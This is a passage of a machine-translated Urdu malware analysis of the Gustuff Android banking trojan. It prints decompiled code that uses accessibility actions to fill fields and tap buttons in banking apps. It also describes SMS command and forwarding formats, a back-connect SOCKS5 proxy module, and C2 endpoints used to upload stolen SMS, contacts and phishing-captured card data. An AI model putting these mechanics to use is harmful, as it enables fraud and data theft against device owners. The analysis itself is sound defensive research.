                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

متن کی تبدیلی کی تقریب:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

اس طرح، کنٹرول سرور کی درست ترتیب کے ساتھ، Gustuff بینکنگ ایپلی کیشن میں ٹیکسٹ فیلڈز کو بھرنے اور لین دین کو مکمل کرنے کے لیے ضروری بٹنوں پر کلک کرنے کے قابل ہے۔ ٹروجن کو ایپلیکیشن میں لاگ اِن کرنے کی بھی ضرورت نہیں ہے- یہ ایک PUSH نوٹیفکیشن ڈسپلے کرنے کے لیے کمانڈ بھیجنا اور پھر پہلے سے انسٹال کردہ بینکنگ ایپلیکیشن کو کھولنا کافی ہے۔ صارف خود کو تصدیق کرے گا، جس کے بعد گسٹف گاڑی کو بھر سکے گا۔

ایس ایم ایس میسج پروسیسنگ ماڈیول

ایپلیکیشن ایس ایم ایس پیغامات کو قبول کرنے کے لیے متاثرہ ڈیوائس کے لیے ایک ایونٹ ہینڈلر انسٹال کرتی ہے۔ زیر مطالعہ ایپلیکیشن آپریٹر سے کمانڈز وصول کر سکتی ہے، جو SMS پیغام کے باڈی میں آتے ہیں۔ کمانڈ فارمیٹ میں آتے ہیں:

7!5=<%Base64 encoded command%>

ایپلیکیشن آنے والے تمام SMS پیغامات میں سٹرنگ تلاش کرتی ہے۔ 7!5=، جب کسی سٹرنگ کا پتہ چلتا ہے، تو یہ بیس 64 سے سٹرنگ کو آفسیٹ 4 پر ڈی کوڈ کرتا ہے اور کمانڈ پر عمل درآمد کرتا ہے۔ کمانڈز CnC کے ساتھ ملتے جلتے ہیں۔ عملدرآمد کا نتیجہ اسی نمبر پر بھیجا جاتا ہے جہاں سے کمانڈ آیا تھا۔ جواب کی شکل:

7*5=<%Base64 encode of “result_code command”%>

اختیاری طور پر، ایپلیکیشن تمام موصول ہونے والے پیغامات کو روٹ نمبر پر بھیج سکتی ہے۔ ایسا کرنے کے لیے، ترجیحی فائل میں روٹ نمبر کی وضاحت ہونی چاہیے اور پیغام کی ری ڈائریکشن کا جھنڈا سیٹ ہونا چاہیے۔ فارمیٹ میں حملہ آور کے نمبر پر ایک SMS پیغام بھیجا جاتا ہے:

<%From number%> - <%Time, Format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

نیز، اختیاری طور پر، ایپلیکیشن CnC کو پیغامات بھیج سکتی ہے۔ ایس ایم ایس پیغام سرور کو JSON فارمیٹ میں بھیجا جاتا ہے:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

اگر جھنڈا لگا ہوا ہے۔ nameGenerator("DEFAULT_APP_SMS") - ایپلیکیشن ایس ایم ایس پیغام پر کارروائی روک دیتی ہے اور آنے والے پیغامات کی فہرست کو صاف کرتی ہے۔

پراکسی ماڈیول

زیر مطالعہ ایپلیکیشن بیک کنیکٹ پراکسی ماڈیول پر مشتمل ہے (اس کے بعد اسے پراکسی ماڈیول کہا جائے گا) جس کی ایک الگ کلاس ہے جس میں کنفیگریشن کے ساتھ جامد فیلڈز شامل ہیں۔ کنفیگریشن ڈیٹا نمونے میں واضح شکل میں محفوظ کیا جاتا ہے:

اینڈروئیڈ ٹروجن گسٹف آپ کے اکاؤنٹس سے کریم (فیاٹ اور کرپٹو) کو کس طرح سکیم کرتا ہے۔

پراکسی ماڈیول کے ذریعہ کئے گئے تمام اعمال فائلوں میں لاگ ان ہوتے ہیں۔ ایسا کرنے کے لیے، External Storage میں ایپلی کیشن "logs" (کنفیگریشن کلاس میں ProxyConfigClass.logsDir فیلڈ) کے نام سے ایک ڈائرکٹری بناتی ہے، جس میں لاگ فائلیں محفوظ ہوتی ہیں۔ لاگنگ ناموں والی فائلوں میں ہوتی ہے:

  1. main.txt - CommandServer نامی کلاس کا کام اس فائل میں لاگ ان ہوتا ہے۔ اس کے بعد، اس فائل میں سٹرنگ سٹرنگ لاگ کرنے کو mainLog(str) کے طور پر ظاہر کیا جائے گا۔
  2. سیشن-<%id%>.txt — یہ فائل ایک مخصوص پراکسی سیشن سے وابستہ لاگ ڈیٹا کو محفوظ کرتی ہے۔ اس کے بعد، اس فائل میں سٹرنگ سٹرنگ لاگ کرنے کو سیشن لاگ (str) کے طور پر ظاہر کیا جائے گا۔
  3. server.txt - اس فائل کو اوپر بیان کردہ فائلوں میں لکھے گئے تمام ڈیٹا کو لاگ کرنے کے لیے استعمال کیا جاتا ہے۔

لاگ ڈیٹا فارمیٹ:

<%Date%> [تھریڈ[<%thread id%>], id[]]: log-string

مستثنیات جو پراکسی ماڈیول کے آپریشن کے دوران ہوتی ہیں وہ بھی فائل میں لاگ ان ہوتی ہیں۔ ایسا کرنے کے لیے، ایپلیکیشن درج ذیل فارمیٹ میں JSON آبجیکٹ تیار کرتی ہے۔

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

پھر یہ اسے سٹرنگ کی نمائندگی میں تبدیل کرتا ہے اور اسے لاگ کرتا ہے۔

پراکسی ماڈیول کو متعلقہ کمانڈ موصول ہونے کے بعد شروع کیا جاتا ہے۔ جب پراکسی ماڈیول کو لانچ کرنے کا کمانڈ موصول ہوتا ہے، تو ایپلیکیشن ایک سروس شروع کرتی ہے جسے کہا جاتا ہے۔ مین سروس، جو پراکسی ماڈیول کے آپریشن کے انتظام کے لیے ذمہ دار ہے - اسے شروع کرنا اور بند کرنا۔

سروس شروع کرنے کے مراحل:

1. ایک ٹائمر شروع کرتا ہے جو منٹ میں ایک بار چلتا ہے اور پراکسی ماڈیول کی سرگرمی کو چیک کرتا ہے۔ اگر ماڈیول فعال نہیں ہے، تو یہ اسے شروع کرتا ہے۔
نیز جب واقعہ کو متحرک کیا جاتا ہے۔ android.net.conn.CONNECTIVITY_CHANGE پراکسی ماڈیول لانچ کیا گیا ہے۔

2. ایپلیکیشن پیرامیٹر کے ساتھ ویک لاک بناتی ہے۔ PARTIAL_WAKE_LOCK اور اسے پکڑتا ہے. یہ ڈیوائس CPU کو سلیپ موڈ میں جانے سے روکتا ہے۔

3. پراکسی ماڈیول کی کمانڈ پروسیسنگ کلاس کا آغاز کرتا ہے، پہلے لائن کو لاگ ان کرتا ہے۔ مین لاگ ("شروع سرور") и

سرور::start() میزبان[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

جہاں proxy_cnc، command_port اور proxy_port - پراکسی سرور کنفیگریشن سے حاصل کردہ پیرامیٹرز۔

کمانڈ پروسیسنگ کلاس کو کہا جاتا ہے۔ کمانڈ کنکشن. سٹارٹ اپ کے فوراً بعد، درج ذیل اعمال انجام دیتا ہے:

4. سے جوڑتا ہے۔ ProxyConfigClass.host: ProxyConfigClass.commandPort اور وہاں JSON فارمیٹ میں متاثرہ ڈیوائس کے بارے میں ڈیٹا بھیجتا ہے:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

کہاں:

  • id - شناخت کنندہ، "x" نامی مشترکہ ترجیحی فائل سے "id" فیلڈ کے ساتھ ایک قدر حاصل کرنے کی کوشش کرتا ہے۔ اگر یہ قدر حاصل نہیں کی جا سکتی ہے، تو یہ ایک نئی تخلیق کرتی ہے۔ اس طرح، پراکسی ماڈیول کا اپنا شناخت کنندہ ہوتا ہے، جو بوٹ ID کی طرح تیار ہوتا ہے۔
  • imei — ڈیوائس کا IMEI۔ اگر قیمت حاصل کرنے کے عمل کے دوران کوئی خرابی پیش آتی ہے، تو اس فیلڈ کے بجائے ایک ایرر ٹیکسٹ میسج لکھا جائے گا۔
  • imsi — آلہ کی بین الاقوامی موبائل سبسکرائبر کی شناخت۔ اگر قیمت حاصل کرنے کے عمل کے دوران کوئی خرابی پیش آتی ہے، تو اس فیلڈ کے بجائے ایک ایرر ٹیکسٹ میسج لکھا جائے گا۔
  • ماڈل — آخری پروڈکٹ کے لیے آخری صارف کے لیے دکھائی دینے والا نام۔
  • مینوفیکچرر — پروڈکٹ/ہارڈ ویئر کا مینوفیکچرر (Build.MANUFACTURER)۔
  • androidVersion - فارمیٹ میں ایک سٹرنگ "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • ملک — ڈیوائس کا موجودہ مقام۔
  • پارٹنر آئی ڈی ایک خالی تار ہے۔
  • پیکیج کا نام - پیکیج کا نام۔
  • نیٹ ورک کی قسم - موجودہ نیٹ ورک کنکشن کی قسم (مثال: "وائی فائی"، "موبائل")۔ غلطی کی صورت میں، null لوٹاتا ہے۔
  • hasGsmSupport - سچ ہے - اگر فون GSM کو سپورٹ کرتا ہے، ورنہ غلط۔
  • simReady - سم کارڈ کی حالت۔
  • simCountry - ISO ملک کا کوڈ (سم کارڈ فراہم کنندہ پر مبنی)۔
  • نیٹ ورک آپریٹر - آپریٹر کا نام۔ اگر قیمت حاصل کرنے کے عمل کے دوران کوئی خرابی پیش آتی ہے، تو اس فیلڈ کے بجائے ایک ایرر ٹیکسٹ میسج لکھا جائے گا۔
  • simOperator — سروس فراہم کرنے والے کا نام (SPN)۔ اگر قیمت حاصل کرنے کے عمل کے دوران کوئی خرابی پیش آتی ہے، تو اس فیلڈ کے بجائے ایک ایرر ٹیکسٹ میسج لکھا جائے گا۔
  • ورژن - یہ فیلڈ کنفگ کلاس میں محفوظ ہے؛ بوٹ کے ٹیسٹ شدہ ورژن کے لیے یہ "1.6" کے برابر تھا۔

5. سرور سے حکموں کے انتظار کے موڈ پر سوئچ کرتا ہے۔ سرور سے کمانڈ فارمیٹ میں آتے ہیں:

  • 0 آفسیٹ - کمانڈ
  • 1 آفسیٹ - سیشن آئی ڈی
  • 2 آف سیٹ – لمبائی
  • 4 آفسیٹ - ڈیٹا

جب کوئی کمانڈ آتا ہے، تو ایپلی کیشن لاگ ان ہوتی ہے:
مین لاگ("ہیڈر { سیشن آئی ڈی<%id%>]، قسم[<%command%>]، لمبائی[<%length%>] }")

سرور سے درج ذیل کمانڈز ممکن ہیں:

نام کمان ڈیٹا Description
کنکشن آئی ڈی 0 کنکشن ID ایک نیا کنکشن بنائیں
SEPEP 3 وقت پراکسی ماڈیول کو موقوف کریں۔
PING_PONG 4 - PONG پیغام بھیجیں۔

ایک PONG پیغام 4 بائٹس پر مشتمل ہوتا ہے اور اس طرح لگتا ہے: 0x04000000.

کنکشن آئی ڈی کمانڈ موصول ہونے پر (نیا کنکشن بنانے کے لیے) کمانڈ کنکشن کلاس کی ایک مثال بناتا ہے۔ پراکسی کنکشن.

  • پراکسینگ میں دو کلاسز حصہ لیتے ہیں: پراکسی کنکشن и آخر. کلاس بناتے وقت پراکسی کنکشن ایڈریس سے منسلک ProxyConfigClass.host: ProxyConfigClass.proxyPort اور JSON آبجیکٹ کو پاس کرنا:

 {
    "id":<%connectionId%>
}

جواب میں، سرور ایک SOCKS5 پیغام بھیجتا ہے جس میں ریموٹ سرور کا پتہ ہوتا ہے جس کے ساتھ کنکشن قائم ہونا ضروری ہے۔ اس سرور کے ساتھ تعامل کلاس کے ذریعے ہوتا ہے۔ آخر. کنکشن سیٹ اپ کو اسکیمیٹک طور پر اس طرح پیش کیا جا سکتا ہے:

اینڈروئیڈ ٹروجن گسٹف آپ کے اکاؤنٹس سے کریم (فیاٹ اور کرپٹو) کو کس طرح سکیم کرتا ہے۔

نیٹ ورک تعاملات

نیٹ ورک سنیفرز کے ذریعے ٹریفک کے تجزیے کو روکنے کے لیے، CnC سرور اور ایپلیکیشن کے درمیان تعامل کو SSL پروٹوکول کے ذریعے محفوظ کیا جا سکتا ہے۔ سرور سے اور سرور تک منتقل ہونے والا تمام ڈیٹا JSON فارمیٹ میں پیش کیا جاتا ہے۔ ایپلیکیشن آپریشن کے دوران درج ذیل درخواستوں پر عمل کرتی ہے۔

  • http://<%CnC%>/api/v1/set_state.php - کمانڈ پر عمل درآمد کا نتیجہ۔
  • http://<%CnC%>/api/v1/get.php - ایک حکم موصول.
  • http://<%CnC%>/api/v1/load_sms.php - متاثرہ آلے سے SMS پیغامات ڈاؤن لوڈ کرنا۔
  • http://<%CnC%>/api/v1/load_ab.php - متاثرہ آلے سے رابطوں کی فہرست اپ لوڈ کرنا۔
  • http://<%CnC%>/api/v1/aevents.php - ترجیحی فائل میں موجود پیرامیٹرز کو اپ ڈیٹ کرتے وقت درخواست کی جاتی ہے۔
  • http://<%CnC%>/api/v1/set_card.php - گوگل پلے مارکیٹ کے طور پر چھپے ہوئے فشنگ ونڈو کا استعمال کرتے ہوئے حاصل کردہ ڈیٹا کو اپ لوڈ کرنا۔
  • http://<%CnC%>/api/v1/logs.php - لاگ ڈیٹا اپ لوڈ کرنا۔
  • http://<%CnC%>/api/v1/records.php - فشنگ ونڈوز کے ذریعے حاصل کردہ ڈیٹا اپ لوڈ کرنا۔
  • http://<%CnC%>/api/v1/set_error.php - پیش آنے والی غلطی کی اطلاع۔

سفارشات

اپنے صارفین کو موبائل ٹروجن کے خطرے سے بچانے کے لیے، کمپنیوں کو ایسے جامع حل استعمال کرنے چاہئیں جو انہیں صارف کے آلات پر اضافی سافٹ ویئر انسٹال کیے بغیر نقصان دہ سرگرمیوں کی نگرانی اور روک تھام کرنے کی اجازت دیتے ہیں۔

ایسا کرنے کے لیے، موبائل ٹروجن کا پتہ لگانے کے لیے دستخطی طریقوں کو ٹیکنالوجی کے ساتھ مضبوط بنانے کی ضرورت ہے تاکہ کلائنٹ اور ایپلیکیشن دونوں کے رویے کا تجزیہ کیا جا سکے۔ تحفظ میں ڈیجیٹل فنگر پرنٹ ٹیکنالوجی کا استعمال کرتے ہوئے ڈیوائس کی شناخت کا فنکشن بھی شامل ہونا چاہیے، جس سے یہ سمجھنا ممکن ہو جائے گا کہ کب کوئی اکاؤنٹ کسی غیر معمولی ڈیوائس سے استعمال ہو رہا ہے اور وہ پہلے ہی کسی دھوکے باز کے ہاتھ میں آ چکا ہے۔

ایک بنیادی طور پر اہم نکتہ کراس چینل تجزیہ کی دستیابی ہے، جو کمپنیوں کو نہ صرف انٹرنیٹ پر بلکہ موبائل چینل پر بھی پیدا ہونے والے خطرات کو کنٹرول کرنے کی اجازت دیتا ہے، مثال کے طور پر، موبائل بینکنگ کے لیے ایپلی کیشنز میں، کریپٹو کرنسیوں کے ساتھ لین دین کے لیے اور کوئی بھی دوسری جگہ جہاں لین دین کیا جا سکتا ہے مالی لین دین۔

صارفین کے لیے حفاظتی اصول:

  • گوگل پلے کے علاوہ کسی دوسرے ذرائع سے اینڈرائیڈ او ایس والے موبائل ڈیوائس کے لیے ایپلی کیشنز انسٹال نہ کریں، ایپلیکیشن کے ذریعے درخواست کردہ حقوق پر خصوصی توجہ دیں۔
  • باقاعدگی سے Android OS اپ ڈیٹس انسٹال کریں؛
  • ڈاؤن لوڈ فائلوں کی توسیع پر توجہ دینا؛
  • مشکوک وسائل کا دورہ نہ کریں؛
  • SMS پیغامات میں موصول ہونے والے لنکس پر کلک نہ کریں۔

اداکاری سیمیون روگاچیواگروپ-IB کمپیوٹر فرانزک لیبارٹری میں مالویئر ریسرچ میں جونیئر ماہر۔

ماخذ: www.habr.com

نیا تبصرہ شامل کریں